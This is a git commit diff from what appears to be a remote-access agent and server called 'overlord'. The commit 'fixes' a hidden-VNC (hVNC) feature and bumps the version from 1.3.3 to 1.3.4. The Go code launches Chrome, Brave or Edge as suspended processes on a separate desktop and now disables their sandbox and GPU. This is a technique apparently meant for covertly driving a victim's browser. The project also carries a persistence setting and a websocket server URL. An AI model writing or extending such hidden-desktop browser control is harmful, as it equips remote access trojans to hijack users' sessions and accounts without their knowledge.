fix chrome hvnc and new version.
This commit is contained in:
+3
-1
@@ -478,4 +478,6 @@ FodyWeavers.xsd
|
||||
*.msi
|
||||
*.msix
|
||||
*.msm
|
||||
*.msp
|
||||
*.msp
|
||||
*.exp
|
||||
*.lib
|
||||
@@ -433,7 +433,16 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) (
|
||||
if err != nil {
|
||||
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
||||
}
|
||||
cmdLine, err := syscall.UTF16FromString(filePath + " --window-position=0,0")
|
||||
args := " --window-position=0,0"
|
||||
browserExes := map[string]bool{
|
||||
"chrome.exe": true,
|
||||
"brave.exe": true,
|
||||
"msedge.exe": true,
|
||||
}
|
||||
if browserExes[strings.ToLower(filepath.Base(filePath))] {
|
||||
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu"
|
||||
}
|
||||
cmdLine, err := syscall.UTF16FromString(filePath + args)
|
||||
if err != nil {
|
||||
return 0, 0, 0, fmt.Errorf("failed to convert command line: %v", err)
|
||||
}
|
||||
|
||||
@@ -17,7 +17,7 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
var AgentVersion = "1.3.3"
|
||||
var AgentVersion = "1.3.4"
|
||||
|
||||
var DefaultPersistence = "false"
|
||||
var DefaultServerURL = "wss://127.0.0.1:5173"
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "overlord-server",
|
||||
"version": "1.3.3",
|
||||
"version": "1.3.4",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
|
||||
@@ -1 +1 @@
|
||||
export const SERVER_VERSION = "1.3.3";
|
||||
export const SERVER_VERSION = "1.3.4";
|
||||
|
||||
Reference in New Issue
Block a user